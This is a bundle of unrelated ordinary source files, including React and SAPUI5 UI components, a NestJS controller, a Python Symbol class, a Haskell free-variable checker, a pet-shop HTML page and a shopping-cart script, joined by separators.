fontWeight: '700',
lineHeight: 'normal',
letterSpacing: '0.68px',
textTransform: 'uppercase',
}}
className="md:text-3xl text-xl"
>
Phone:
</p>
<p
style={{
fontStyle: 'normal',
fontWeight: '400',
lineHeight: 'normal',
marginLeft: '10px',
}}
className="md:text-3xl text-xl"
>
{fields.phone.value}
</p>
</div>
)}
</div>
<div className="flex flex-col items-center">
{fields.contact_button_text != null && (
<Link
to={`${fields.contact_url?.value}`}
target='_blank'
style={{
backgroundColor: Colors.primary,
color: Colors.textSecondary,
cursor: 'pointer',
}}
className="w-full btn px-4 py-2 rounded-full text-main text-center w- font-bold text-xl capitalize mb-6"
>
<p
style={{
color: 'var(--Off-White, #FAF9F6)',
fontFamily: 'Roboto Condensed',
fontStyle: 'normal',
fontWeight: 700,
lineHeight: 'normal',
textTransform: 'uppercase',
}}
className="md:text-3xl text-xl"
>
{fields.contact_button_text.value}
</p>
</Link>
)}
{fields.location_button_text != null && (
<Link
to={`${fields.location_url?.value}`}
target='_blank'
style={{
backgroundColor: Colors.secondary,
color: Colors.textSecondary,
}}
className="w-full btn px-4 py-2 rounded-full text-main text-center font-bold text-xl capitalize"
>
<p
style={{
color: 'var(--Off-White, #FAF9F6)',
fontFamily: 'Roboto Condensed',
fontStyle: 'normal',
fontWeight: 700,
lineHeight: 'normal',
textTransform: 'uppercase',
}}
className="md:text-3xl text-xl"
>
{fields.location_button_text.value}
</p>
</Link>
)}
</div>
</div>
</div>
</div>
</div>
);
};
export default Contact;
|
import '../features/articles/data/datasources/articles_remote_datasource.dart';
import '../features/articles/data/repository/articles_repository.dart';
import '../features/articles/presentation/cubits/cubit/articles_cubit.dart';
import 'network/network_service.dart';
///Implementing
///
///`Singleton` design pattern
///
///`Flyweight` design pattern
///
///to save specific objects from recreation
class Injector {
final _flyweightMap = <String, dynamic>{};
static final _singleton = Injector._internal();
Injector._internal();
factory Injector() => _singleton;
ArticlesCubit get articlesCubit => ArticlesCubit(articlesRepository);
ArticlesRepository get articlesRepository =>
_flyweightMap['ArticlesRepository'] ??
ArticlesRepositoryImpl(articlesRemoteDataSource);
ArticlesRateRemoteDataSource get articlesRemoteDataSource =>
_flyweightMap['ArticlesRateRemoteDataSource'] ??
ArticlesRemoteDataSourceImpl(networkService);
NetworkService get networkService =>
_flyweightMap['networkService'] ??= NetworkServiceImpl();
}
|
# Stack Data Structure
This folder contains a templated stack implementation in C++. The stack data structure follows the Last-In-First-Out (LIFO) principle and supports basic stack operations such as push, pop, peek, clear, resize, and more.
## Table of Contents
- [Introduction](#introduction)
- [Features](#features)
- [Getting Started](#getting-started)
- [Usage](#usage)
## Introduction
A stack is a fundamental data structure that allows you to store and retrieve elements in a last-in-first-out (LIFO) manner. This implementation provides a flexible stack that can be used with various data types. It includes methods for pushing and popping elements, checking if the stack is empty or full, and more.
## Features
- Templated stack implementation for flexibility with different data types.
- Basic stack operations such as push, pop, isEmpty, isFull, peek, clear, and resize.
- Customizable maximum capacity of the stack.
- Detailed error handling using C++ exceptions.
## Getting Started
1. Clone this repository to your local machine.
2. Include the `stack.h` header file in your C++ project.
## Usage
Here's an example of how to use the stack:
```cpp
#include "stack.h"
int main() {
// Create a stack of integers with a maximum size of 10
Stack<int> intStack(10, 0);
intStack.push(42);
intStack.push(15);
intStack.push(30);
std::cout << "Top element: " << intStack.peek() << std::endl;
intStack.pop();
intStack.display();
intStack.clear();
intStack.resize(20);
return 0;
}
|
import React, { PropsWithChildren, ReactElement } from 'react';
import { render } from '@testing-library/react';
import { Provider } from 'react-redux';
//setup store
import setupStore from '@/jest/mocks/store';
//interfaces
import { ExtendedRenderOptions } from '@/jest/interfaces/JestInterfaces';
function renderWithRedux(
ui: ReactElement,
{
preloadedState,
// Automatically create a store instance if no store was passed in
store = setupStore(preloadedState),
...renderOptions
}: ExtendedRenderOptions = {}
) {
function Wrapper({ children }: PropsWithChildren): JSX.Element {
return <Provider store={store}>{children}</Provider>;
}
// Return an object with the store and all of RTL's query functions
return { store, ...render(ui, { wrapper: Wrapper, ...renderOptions }) };
}
export default renderWithRedux;
|
import './AnimalShow.css'
import {useState} from 'react';
import bird from './svg/bird.svg';
import cat from './svg/cat.svg';
import cow from './svg/cow.svg';
import dog from './svg/dog.svg';
import gator from './svg/gator.svg';
import heart from './svg/heart.svg';
import horse from './svg/horse.svg';
//this is an object with key value pairs such as the following:
//bird:bird, cat:cat, cow: cow and so on
const svgMap = {
bird, cat, cow, dog, gator, horse
}
function AnimalShow({type}){
const[clicks, setClicks]=useState(0);
const handleClick = ()=>{
setClicks(clicks+1);
};
return(
<div className="animal-show" onClick={handleClick}>
<img className="animal" alt="animal" src={svgMap[type]} />
<img className="heart" alt="heart" src={heart} style={{width: 10 + 10*clicks + 'px'}}/>
</div>
);
}
export default AnimalShow;
|
import { Light } from '@box2d/lights';
import { Box, Vec2, Edge } from 'planck';
import { Canvas } from '../EIC/base/Canvas';
import { Scene } from '../EIC/base/Scene';
import { Animation, AnimationComponent, RigidBodyComponent, SpriteImageComponent, TransformComponent } from '../EIC/components';
import { LightComponent } from '../EIC/components/Light';
import { Ground } from './logic/Ground';
import { Player } from './logic/Player'
import { PlayerASM } from './logic/PlayerASM';
import { Trampoline } from './logic/Trampoline';
import { TrampolineASMComponent } from './logic/TrampolineASM';
export class Level {
static player: Player | null = null;
static initPlayer() {
if (Level.player) {
return Level.player;
}
const { width, height } = Canvas;
const player = new Player();
// 精灵图每个单元的宽高
const sWidth = 112;
const sHeight = 133;
new SpriteImageComponent(player, new Image(), 'image/player.png', 112, 133, 0, 0, 112, 133);
new TransformComponent(player, {x: width / 2, y: height / 2}, 0, {x: 112, y: 133});
const rigid = new RigidBodyComponent(player, false, new Box(8, 16), Vec2(width / 2, height / 2));
rigid.setRelativePos(0, -16);
const animations: Animation[] = [];
let group: [number, number][] = [];
let idx = 0;
for (let i = 0; i < 11; i++) {
for (let j = 0; j < 12; j++) {
idx++;
group.push([j * sWidth, i * sHeight]);
// 这么办法,根据图片来的
switch (idx) {
case 1:
animations.push(new Animation('idle', group));
group = [];
break;
case 25:
animations.push(new Animation('run', group, true));
group = [];
break;
case 34:
animations.push(new Animation('light-bow', group, true));
group = [];
break;
case 37:
animations.push(new Animation('jump-rasing', group));
group = [];
break;
case 44:
animations.push(new Animation('rasing-to-fall', group));
group = [];
break;
case 47:
animations.push(new Animation('falling', group));
group = [];
break;
case 51:
animations.push(new Animation('landing', group));
group = [];
break;
case 55:
animations.push(new Animation('sliding', group));
group = [];
break;
case 79:
animations.push(new Animation('light-attack-combo', group, true));
group = [];
break;
case 121:
animations.push(new Animation('heavy-attack-combo', group));
group = [];
break;
case 128:
animations.push(new Animation('hurt-1', group));
group = [];
break;
case 135:
animations.push(new Animation('hurt-2', group));
group = [];
break;
case 139:
animations.push(new Animation('wall-slide', group));
group = [];
break;
case 144:
animations.push(new Animation('running-turn-around', group));
group = [];
break;
default:
break;
}
}
}
new AnimationComponent(player, animations);
new PlayerASM(player);
Level.player = player;
Scene.instance.addChildren(player);
}
static initGround(x: number, isHigh: boolean) {
const ground = new Ground('ground', isHigh);
new TransformComponent(ground, { x, y: isHigh ? 80 : 40 }, 0, {x: 80, y: isHigh ? 160 : 80 });
new SpriteImageComponent(ground, new Image(), isHigh ? 'image/high.jpg' : 'image/ground.png', 80, isHigh ? 160 : 80);
const v1: Vec2 = new Vec2(x - 40,(isHigh ? 160 : 80));
const v2: Vec2 = new Vec2(x + 40, (isHigh ? 160 : 80));
if (isHigh) {
new RigidBodyComponent(ground, true, new Box(40, 40), new Vec2(x, 120));
} else {
new RigidBodyComponent(ground, true, new Edge(v1, v2))
}
Scene.instance.addChildren(ground);
}
static initGrounds() {
for (let i = 0; i < 20; i++) {
Level.initGround(i * 80 + 40, i === 3);
}
}
static initTrampoline() {
const trampoline = new Trampoline();
new TransformComponent(trampoline, {x: Canvas.width / 2, y: 80 + 14}, 0, {x: 28, y: 28});
new SpriteImageComponent(trampoline, new Image(), 'image/trampoline.png', 28, 28, 28, 0, 28, 28);
new RigidBodyComponent(trampoline, true, new Box(14, 14), new Vec2(Canvas.width / 2, 80 + 14));
const idleAnim = new Animation('idle', [[84, 0]]);
const tanAnim = new Animation('tan', [[84, 0], [112 , 0], [196, 0], [0, 0], [196, 0], [112, 0], [84, 0], [56, 0], [28, 0], [56, 0], [84, 0]]);
const animations = [idleAnim, tanAnim];
new AnimationComponent(trampoline, animations);
new TrampolineASMComponent(trampoline);
Scene.instance.addChildren(trampoline);
}
}
|
import React, { useContext } from 'react'
import { CartContext } from '../../context/cart-context'
import Layout from '../../shared/layout';
import CartItem from './cart-items';
import './cart-page.styles.scss'
import Total from './total';
const Cart = () => {
const { cartItems, itemCount, total, increase, decrease, removeProduct, clearCart } = useContext(CartContext);
const funcs = { increase, decrease, removeProduct, clearCart };
return (
<div>
<Layout>
<>
<h1>Cart</h1>
{
cartItems.length === 0 ? <div className='empty-cart'>Your Cart is empty</div>
:
<>
<div className="cart-page">
<div className="cart-item-container">
{
cartItems.map(item => <CartItem {...item} key={item.id} {...funcs} />)
}
</div>
<Total itemCount={itemCount} total={total} clearCart={clearCart} />
</div>
</>
}
</>
</Layout>
</div>
)
}
export default Cart
|
import {
Body,
Controller,
Get,
Param,
Post,
Put,
Query,
Delete,
NotFoundException,
InternalServerErrorException,
} from '@nestjs/common';
import { StudentService } from './student.service';
import { Student } from './entities/student.entity';
import { CreateStudentDto, UpdateStudentDto } from './dto';
import { NotFoundError } from '@mikro-orm/core';
@Controller('students')
export class StudentController {
constructor(private readonly studentService: StudentService) {}
@Get()
async findAll(@Query('name') name?: string): Promise<Student[]> {
return this.studentService.findAll(name);
}
@Get(':id')
async findOne(@Param('id') id: number): Promise<Student> {
const student = await this.studentService.findOne(id);
if (!student) {
throw new NotFoundException(`Student with ID ${id} not found.`);
}
return student;
}
@Post()
async create(@Body() createStudentDto: CreateStudentDto): Promise<Student> {
return this.studentService.create(createStudentDto);
}
@Put(':id')
async update(
@Param('id') id: number,
@Body() updateStudentDto: UpdateStudentDto,
): Promise<Student> {
try {
return await this.studentService.update(id, updateStudentDto);
} catch (error) {
if (error instanceof NotFoundError) {
throw new NotFoundException(error.message);
}
throw new InternalServerErrorException(error.message);
}
}
@Delete(':id')
async remove(@Param('id') id: number): Promise<void> {
try {
return await this.studentService.remove(id);
} catch (error) {
if (error instanceof NotFoundError) {
throw new NotFoundException(error.message);
}
throw new InternalServerErrorException(error.message);
}
}
}
|
class Symbol:
"""
This class defines the concept of a generic 'symbol'. Symbols have a 'name' which is a string and a 'symbol_type'
which denotes what part of the logic vocabulary they constitute, say object, relation, or label. Symbols
are meant to be immutable.
"""
def __init__(self, name, symbol_type=None):
self.name = name
self.symbol_type = symbol_type
def symbol_is_instance(self, instance):
"""
Function to check whether the current Symbol object is an instance of another Symbol kind
higher in the hierarchy.
It takes either a string or another Symbol object to check against the current object. If the argument is of
neither type, it returns None.
NOTE: The Symbol object to be compared against must be the object that represents the symbol_type class of
objects, not another object whose symbol_type is the same as the current object.
:param instance: string or Symbol
:return: bool or None
"""
if isinstance(instance, str):
return self.symbol_type == instance
elif isinstance(instance, Symbol):
return self.symbol_type == instance.get_name()
# Symbols with the same name must be considered equal.
# To enforce symbol equality only when BOTH name and signature are equal, change __eq__ and __hash__ appropriately.
# TODO (low): allow signature to determine equality as well.
# This change will generalise the model, but will have effects on the way that interpretations are keyed in
# VDPFOModel objects.
def __eq__(self, other):
"""Overrides the default implementation"""
if isinstance(other, Symbol):
return self.name == other.name
return NotImplemented
# Custom symbol equality defined above must extend to usage as elements of mutable entities such as sets.
# NOTE: IMPORTANT! In general implementation only makes sense if the symbol (or classes that inherit from it)
# DO NOT have mutable entities in their attributes.
# TODO (low): opt for a different design to obtain persistent symbol identities that is more general.
def __hash__(self):
"""Overrides the default implementation"""
return hash(self.name)
# Getter methods for attributes
def get_name(self):
return self.name
def get_symbol_type(self):
return self.symbol_type
# No setter methods as we want Symbols to be immutable
|
{-# LANGUAGE MultiParamTypeClasses #-}
{-# LANGUAGE FlexibleInstances #-}
{-# LANGUAGE DeriveDataTypeable #-}
{-# LANGUAGE FlexibleContexts #-}
{-# LANGUAGE InstanceSigs #-}
module TypeFV where
import Language.Rules.TypeGU
import Language.Rules.TypeGT
import Data.Generics
import Control.Monad
{-
class Unifiable o => Judgement i o | i -> o where
rules :: [i -> R o]
infer :: Judgement i o => i -> [o]
-}
type Result o = R o
data Expr = Var String | App Expr Expr | Lam String Expr
deriving Show
data Free = Free
deriving (Eq, Read, Show, Typeable, Data)
instance Unifiable Free where
type FVJudge = (String,Expr,Free)
instance Judgement (String, Expr) Free where
rules :: [(String, Expr) -> Result Free]
rules = [var, app1, app2, lam]
{-
v == x
-------------Var
(v,x) free
-}
-- var :: MonadPlus m => (String, Expr) -> m Free
var :: (String, Expr) -> Result Free
var (v, (Var x)) | x == v = return Free
var _ = mzero
{-
(v,e1) free
---------------------App1
(v,e1 e2) free
-}
app1 :: (String,Expr) -> Result Free
app1 (v, (App e1 e2)) = do
(v, e1) .>. Free
return Free
app1 _ = mzero
{-
(v,e2) free
---------------------App2
(v,e1 e2) free
-}
app2 :: (String,Expr) -> Result Free
app2 (v, (App e1 e2)) = do
(v, e2) .>. Free
return Free
app2 _ = mzero
{-
v /= x (v,e) free
------------------------Lam
(v,Lam x e) free
-}
lam :: (String,Expr) -> Result Free
lam (v, (Lam x e)) = do
(v, e) .>. Free
if v == x then mzero else return Free
lam _ = mzero
-- Examples
vx = infer ("x", (Var "x"))
vlx = infer ("x", Lam "x" (Var "x"))
vy = infer ("y", (Var "x"))
va = infer ("x", App (Lam "x" (Var "x")) (Var "x"))
vay = infer ("x", App (Lam "x" (Var "x")) (Var "y"))
|
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">
<!--Custom CSS-->
<link rel="stylesheet" type="text/css" href="petweb.css">
<!--Fonts-->
<link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css">
<link href="https://fonts.googleapis.com/css2?family=Lakki+Reddy&family=Poppins:wght@500&display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Manrope:wght@300;400&display=swap" rel="stylesheet">
<title>Furever Friends</title>
</head>
<body>
<button onclick="topFunction()" id="myBtn" title="Go to top"><i class="fas fa-angle-up"></i></button>
<!-- NAVIGATION BAR -->
<nav id="mainnavbar" class="navbar navbar-expand-md">
<span class="navbar-brand"><i class="fas fa-paw"></i> Furever Friends</span>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"><i class="fas fa-bars"></i></span>
</button>
<div class="navbar-list collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item active">
<a class="nav-link home" href="#home">Home <span class="sr-only">(current)</span></a>
</li>
<li class="nav-item">
<a class="nav-link" href="#about">About</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#services">Services</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#testimonial">Testimonials</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#contact">Contact</a>
</li>
</ul>
</div>
</nav>
<!-- Header Image Slideshow -->
<a name="home"></a>
<div class="slideshowContainer">
<div id="slideshow-example" data-component="slideshow">
<div role="list">
<div class="slide">
<img src="img/img-slider1.jpg" alt="two dogs running">
</div>
<div class="slide">
<img src="img/img-slider2.jpg" alt="a dog and cat laying in grass">
</div>
<div class="slide">
<img src="img/img-slider3.jpg" alt="a cat lying in a bed">
</div>
<div class="slide">
<img src="img/img-slider4.jpg" alt="a litter of kittens">
</div>
</div>
</div>
</div>
<!-- ABOUT SECTION -->
<a name="about"></a>
<div class="about-section">
<div class="container">
<div class="row my-5">
<div class="col-md-6 about-text pr-0">
<h2 class="about-title mb-4">About Us</h2>
<h5 class="mb-3">We believe in treating every pet as if they were our own pet, and giving them the same loving attention and care. We are proud to provide the best possible service for your pet.</h5>
<ul class="about-list">
<li><i class="fas fa-dog"></i> We provide a wide range of services for your pets needs</li>
<li><i class="fas fa-cat"></i> Ask about our Free First Day discount in our Pet Hotel</li>
<li><i class="fas fa-dog"></i> Guess What...We bathe cats too!</li>
<li><i class="fas fa-cat"></i> Adoption Services available...come have a look!</li>
</ul>
</div>
<div class="col-md-6 about-img text-right">
<img src="img/aboutimg.jpg" alt="pitbull dog sitting" class="img-fluid">
</div>
</div>
</div>
</div>
<!-- SERVICES SECTION -->
<a name="services"></a>
<div class="services-section">
<div class="container">
<div class="row">
<div class="col-12 services-header">
<h2 class="services-title">Services</h2>
</div>
<div class="col-md-6 col-lg-3 mb-4 text-center options">
<img src="icons/pet-hotel.png">
<h3>Pet Hotel</h3>
<p>Pets will feel at home with the all day care of our pet-loving staff
</p>
</div>
<div class="col-md-6 col-lg-3 mb-4 text-center options">
<img src="icons/pet-groom.png">
<h3>Grooming</h3>
<p>We offer superior grooming services in a professional environment
</p>
</div>
<div class="col-md-6 col-lg-3 mb-4 text-center options">
<img src="icons/pet-training.png">
<h3>Training</h3>
<p>All of our training classes use Positive Reinforcement, Fear-Free & Pain-Free methods
</p>
</div>
<div class="col-md-6 col-lg-3 mb-4 text-center options">
<img src="icons/vet.png">
<h3>Veterinary</h3>
<p>We're dedicated to providing high quality and compassionate care for our patients to allow for long, healthy lives.
</p>
</div>
</div>
</div>
</div>
<!-- TESTIMONIAL -->
<a name="testimonial"></a>
<div class="testimonial">
<div class="container">
<div class="row mb-3">
<div class="col-12 test-header">
<h2 class="test-title">Testimonials</h2>
</div>
<div class="col-sm-12 col-lg-4 quote">
<div class="quote-text">
<p>"They are the best in customer service.. always pleasant and helpful.. smiling!’ They all seem to love their job and convey that to all who enter their store!"</p>
<span class="customer">-Rebeca Jackson</span>
</div>
</div>
<div class="col-sm-12 col-lg-4 quote">
<div class="quote-text">
<p>"I love to shop at your store!! Keep up the good work and thank You for being their for us and our beloved pets."</p>
<span class="customer">-Carol Green</span>
</div>
</div>
<div class="col-sm-12 col-lg-4 quote">
<div class="quote-text">
<p>"Furever Friends is amazing! They are clean and their staff is friendly and knowledgeable. They genuinely care about their customers and the animals."</p>
<span class="customer">-E McHaney</span>
</div>
</div>
</div>
</div>
</div>
<!-- CONTACT SECTION -->
<a name="contact"></a>
<div class="contact-section">
<div class="container">
<div class="row">
<div class="order-sm-2 order-md-1 col-md-6 bg1">
<form action="#" class="contact-form">
<div class="row form-group">
<div class="col-md-6">
<label for="fname">First Name</label>
<input type="text" id="fname" class="form-control">
</div>
<div class="col-md-6">
<label for="lname">Last Name</label>
<input type="text" id="lname" class="form-control">
</div>
</div>
<div class="row form-group">
<div class="col-md-12">
<label for="email">Email</label>
<input type="email" id="email" class="form-control">
</div>
</div>
<div class="row form-group">
<div class="col-md-12">
<label for="subject">Subject</label>
<input type="subject" id="subject" class="form-control">
</div>
</div>
<div class="row form-group">
<div class="col-md-12">
<label for="message">Message</label>
<textarea name="message" id="message" cols="20" rows="7" class="form-control" placeholder="Write your notes or questions here..."></textarea>
</div>
</div>
<div class="row form-group">
<div class="col-md-12">
<input type="submit" value="Send Message" class="btn btn-md text-white">
</div>
</div>
</form>
</div>
<div class="order-sm-1 order-md-2 col-md-6 bg2">
<div class="row justify-content-center">
<div class="col-lg-6 contact-header">
<h2 class="contact-title">Contact Us</h2>
<ul class="address">
<li>
<span>Address:</span>
<p>2834 Chandler Hollow Road</p>
</li>
<li>
<span>Phone:</span>
<p>(412) 407 7345</p>
</li>
<li>
<span>Email:</span>
<p>[email protected]
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- FOOTER -->
<footer class="site-footer">
<div class="container">
<div class="row">
<div class="col-sm-12 col-md-4 footer-brand">
<h6><span><i class="fas fa-paw"></i></span>Furever Friends</h6>
</div>
<div class="col-sm-12 col-md-4">
<h6>Quick Links</h6>
<ul class="footer-links">
<li><a href="#about">About</a></li>
<li><a href="#services">Services</a></li>
<li><a href="#testimonial">Testimonials</a></li>
</ul>
</div>
<div class="col-sm-12 col-md-4">
<h6>Contact Us</h6>
<p>Phone: (412) 407 7345</p>
<p>Email: [email protected]</p>
</div>
</div>
<hr>
</div>
<div class="container">
<div class="row">
<div class="col-sm-12 col-md-6">
<p class="copyright-text">Copyright © 2021 Designed by Jazmine Stevenson</p>
</div>
<div class="col-sm-12 col-md-6 icons">
<ul class="social-icons">
<li><a class="facebook" href="#"><i class="fab fa-facebook-f"></i></a></li>
<li><a class="twitter" href="#"><i class="fab fa-twitter"></i></a></li>
<li><a class="instagram" href="#"><i class="fab fa-instagram"></i></a></li>
</ul>
</div>
</div>
</div>
</footer>
<!-- Optional JavaScript -->
<!-- jQuery first, then Popper.js, then Bootstrap JS -->
<script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>
<script src="petweb.js"></script>
</body>
</html>
|
/*-
* #%L
* TuiGrid
* %%
* Copyright (C) 2021 Vaadin Ltd
* %%
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* #L%
*/
package com.vaadin.componentfactory.tuigrid.event;
import com.vaadin.componentfactory.tuigrid.TuiGrid;
import com.vaadin.componentfactory.tuigrid.model.Item;
import com.vaadin.flow.component.ComponentEvent;
/**
* Event thrown when an item is resized.
*/
public class ItemAddEvent extends ComponentEvent<TuiGrid> {
private Item item;
private boolean cancelled = false;
public ItemAddEvent(TuiGrid source, Item item, boolean fromClient) {
super(source, fromClient);
this.item = item;
}
public Item getItem() {
return item;
}
public void setItem(Item item) {
this.item = item;
}
public boolean isCancelled() {
return cancelled;
}
public void setCancelled(boolean cancelled) {
this.cancelled = cancelled;
}
public TuiGrid getTuiGrid() {
return (TuiGrid) source;
}
}
|
// Assuming you are using SAPUI5
sap.ui.define([
"sap/ui/core/mvc/Controller",
"sap/m/Dialog",
"sap/m/Button",
"sap/m/Input",
"sap/m/Label"
], function (Controller, Dialog, Button, Input, Label) {
"use strict";
return Controller.extend("gms.gmsserviceprofile.controller.serviceProfile", {
// ...
onInit: function () {
// ...
},
// Function to handle the press event of the "Edit Node" button
onEditNode: function (oEvent) {
var oNode = oEvent.getSource().getBindingContext().getObject();
// Create a dialog
var oDialog = new Dialog({
title: "Edit Node",
content: [
new Label({
text: "Service Parameter:",
width: "100%"
}),
new Input({
value: oNode.title,
placeholder: "Enter new title",
width: "100%"
}),
new Label({
text: "Rank:",
width: "100%"
}),
new Input({
value: oNode.attributes[0].label, // Assuming there is at least one attribute
placeholder: "Enter new property",
width: "100%"
}),
new Label({
text: "Value:",
width: "100%"
}),
new Input({
value: oNode.attributes[0].value,
placeholder: "Enter new value",
width: "100%"
}),
new Label({
text: "Parent ID:",
width: "100%"
}),
new Input({
value: oNode.parentId, // Assuming parentId is a property of the node
placeholder: "Enter new Parent ID",
width: "100%"
}),
// Add other Input fields for other node details as needed
],
beginButton: new Button({
text: "Save",
press: function () {
var sNewTitle = oDialog.getContent()[1].getValue();
var sNewProperty = oDialog.getContent()[3].getValue();
var sNewValue = oDialog.getContent()[5].getValue();
var sNewParentId = oDialog.getContent()[7].getValue();
// Update the node details with the new values
// (You need to implement a function to update the model)
// For example: this.updateNodeDetails(oNode, { title: sNewTitle, parentId: sNewParentId, ... });
// Update the attribute details
// For example: this.updateAttributeDetails(oNode, 0, { label: sNewProperty, value: sNewValue });
oDialog.close();
}
}),
endButton: new Button({
text: "Cancel",
press: function () {
oDialog.close();
}
})
});
// Open the dialog
oDialog.open();
},
// Function to handle the press event of the "Add Child" button
onAddChild: function () {
// Create a dialog
var oDialog = new Dialog({
title: "Add Child",
content: [
new Input({
placeholder: "Enter Parent ID",
width: "60%"
}),
new Input({
placeholder: "Enter Service Parameter",
width: "60%"
}),
new Input({
placeholder: "Enter Rank",
width: "60%"
})
],
beginButton: new Button({
text: "Save",
press: function () {
// Get values from the input fields
var sParentId = oDialog.getContent()[0].getValue();
var sServiceParameter = oDialog.getContent()[1].getValue();
var sRank = oDialog.getContent()[2].getValue();
// Add logic to create a new child node with the provided details
// For example: this.addChildNode(sParentId, sServiceParameter, sRank);
oDialog.close();
}
}),
endButton: new Button({
text: "Cancel",
press: function () {
oDialog.close();
}
})
});
// Open the dialog
oDialog.open();
},
// ...
});
});
|
const rootElement = document.querySelector('#root');
const orderForm = document.querySelector('#orderForm');
const fetchUrl = async (url) => {
try {
const response = await fetch(url);
if (!response.ok) {
throw new Error(`HTTP error! Status: ${response.status}`);
}
return response.json();
} catch (error) {
throw new Error(`Fetch error: ${error.message}`);
}
};
const createCartItemElement = (item) => {
const cartItemElement = document.createElement('div');
cartItemElement.innerHTML = `
<div>
<h1>Title: ${item.name}</h1>
<h2>Quantity: ${item.quantity}</h2>
<h2>Price: ${item.price * item.quantity}$</h2>
<button class="plusButton" data-name="${item.name}">+</button>
<button class="minusButton" data-name="${item.name}">-</button>
<button class="removeButton" data-name="${item.name}">Remove</button>
</div>
`;
return cartItemElement;
};
let cartItems = [];
const updateCartStorage = () => {
localStorage.setItem('cartItems', JSON.stringify(cartItems));
};
const loadCartFromStorage = () => {
const storedCart = localStorage.getItem('cartItems');
if (storedCart) {
cartItems = JSON.parse(storedCart);
}
};
const addToCart = (itemName, quantity) => {
const existingCartItemIndex = cartItems.findIndex(item => item.name === itemName);
if (existingCartItemIndex !== -1) {
cartItems[existingCartItemIndex].quantity += quantity;
} else {
const item = {
name: itemName,
quantity: quantity
};
cartItems.push(item);
}
updateCartStorage();
};
const clearCart = () => {
localStorage.removeItem('cartItems');
cartItems = [];
};
const getCartItems = () => {
return cartItems;
};
const displayCartItems = () => {
const cartItems = getCartItems();
const rootElement = document.querySelector('#root');
rootElement.innerHTML = '';
if (cartItems.length === 0) {
rootElement.innerHTML = "<p>Your cart is empty.</p>";
} else {
cartItems.forEach(item => {
const cartItemElement = createCartItemElement(item);
rootElement.appendChild(cartItemElement);
});
}
};
document.addEventListener('click', (event) => {
const removeFromCart = (itemName) => {
cartItems = cartItems.filter(item => item.name !== itemName);
updateCartStorage();
};
if (event.target.classList.contains('plusButton')) {
const itemName = event.target.getAttribute('data-name');
addToCart(itemName, 1);
displayCartItems();
}
if (event.target.classList.contains('minusButton')) {
const itemName = event.target.getAttribute('data-name');
addToCart(itemName, -1);
displayCartItems();
}
if (event.target.classList.contains('removeButton')) {
const itemName = event.target.getAttribute('data-name');
removeFromCart(itemName);
displayCartItems();
}
});
const sendOrderData = async (data) => {
try {
const response = await fetch('/cart/orders', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data),
});
if (!response.ok) {
throw new Error(`HTTP error! Status: ${response.status}`);
}
const responseData = await response.json();
return responseData;
} catch (error) {
console.error('Error sending order data:', error);
throw new Error(`Fetch error: ${error.message}`);
}
};
orderForm.addEventListener('submit', async (event) => {
event.preventDefault();
const name = document.querySelector('#name').value;
const address = document.querySelector('#address').value;
const email = document.querySelector('#email').value;
if (name.trim() && address.trim() && email.trim()) {
const orderData = { name, address, email, cartItems: getCartItems() };
try {
const newOrder = await sendOrderData(orderData);
clearCart();
displayCartItems();
orderForm.reset();
} catch (error) {
console.error('Error placing order:', error.message);
}
} else {
console.error('Please fill in all fields');
}
});
const initCartDisplay = () => {
loadCartFromStorage();
displayCartItems();
};
initCartDisplay();
|
import { Connection } from "typeorm";
import { Request, Response } from "express";
import { ObjectType, Field } from "type-graphql";
import { Redis } from "ioredis";
import { createUpdootLoader, createUserLoader } from "@utils/loaders";
interface Context {
req: Request & { session: { userId?: number } };
res: Response;
redis: Redis;
conn: Connection;
userLoader: ReturnType<typeof createUserLoader>;
updootLoader: ReturnType<typeof createUpdootLoader>
}
type Status = "success" | "error" | "fail";
@ObjectType()
class FieldError {
@Field()
name!: string;
@Field()
message!: string;
}
@ObjectType()
class ApiResponse {
@Field()
status!: Status;
@Field({ nullable: true })
message?: String;
}
export { FieldError, ApiResponse, Status, Context };
|
import React, { useState, useEffect } from "react";
import Web3 from "web3";
import {
SudalAuctionABI,
SudalAuctionAddress,
SudalFarmABI,
SudalFarmAddress,
} from "../../util/web3abi";
import Modal from "../Modal/LoadingModal";
import DateTimePicker from "react-datetime-picker";
import "./UnSoldOwner.css";
import BidList from "./BidList.jsx";
import shop from "../../api/shop";
